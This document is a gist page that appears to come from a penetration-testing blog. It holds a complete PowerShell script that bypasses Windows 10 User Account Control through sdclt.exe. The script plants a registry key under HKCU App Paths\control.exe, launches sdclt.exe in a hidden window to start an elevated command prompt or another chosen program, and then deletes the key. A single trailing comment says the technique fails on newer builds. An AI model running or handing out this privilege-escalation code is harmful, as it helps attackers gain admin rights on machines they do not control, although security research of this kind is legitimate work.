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Bypass UAC via sdclt in Windows 10 systems
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<# | |
.SYNOPSIS | |
This script can bypass User Access Control (UAC) via sdclt.exe for Windows 10. | |
Author: @netbiosX | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
It creates a registry key in: "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" to perform UAC bypass | |
and starts an elevated command prompt. | |
.NOTES | |
Function : SdcltUACBypass | |
File Name : SdcltUACBypass.ps1 | |
Website : pentestlab.blog | |
.LINKS | |
https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/ | |
https://gist.github.com/netbiosX/54a305a05b979e13d5cdffeba5436bcc | |
.EXAMPLE | |
Open Command Prompt (it's default): | |
SdcltUACBypass | |
Open specific application: | |
SdcltUACBypass -program "cmd.exe" | |
#> | |
function SdcltUACBypass(){ | |
Param ( | |
[String]$program = "C:\Windows\System32\cmd.exe" #default | |
) | |
#Create Registry Structure | |
New-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "(default)" -Value $program -Force | |
#Start sdclt.exe | |
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden | |
#Cleanup | |
Start-Sleep 3 | |
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Recurse -Force | |
} |
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doesn't work in new Windows 10 versions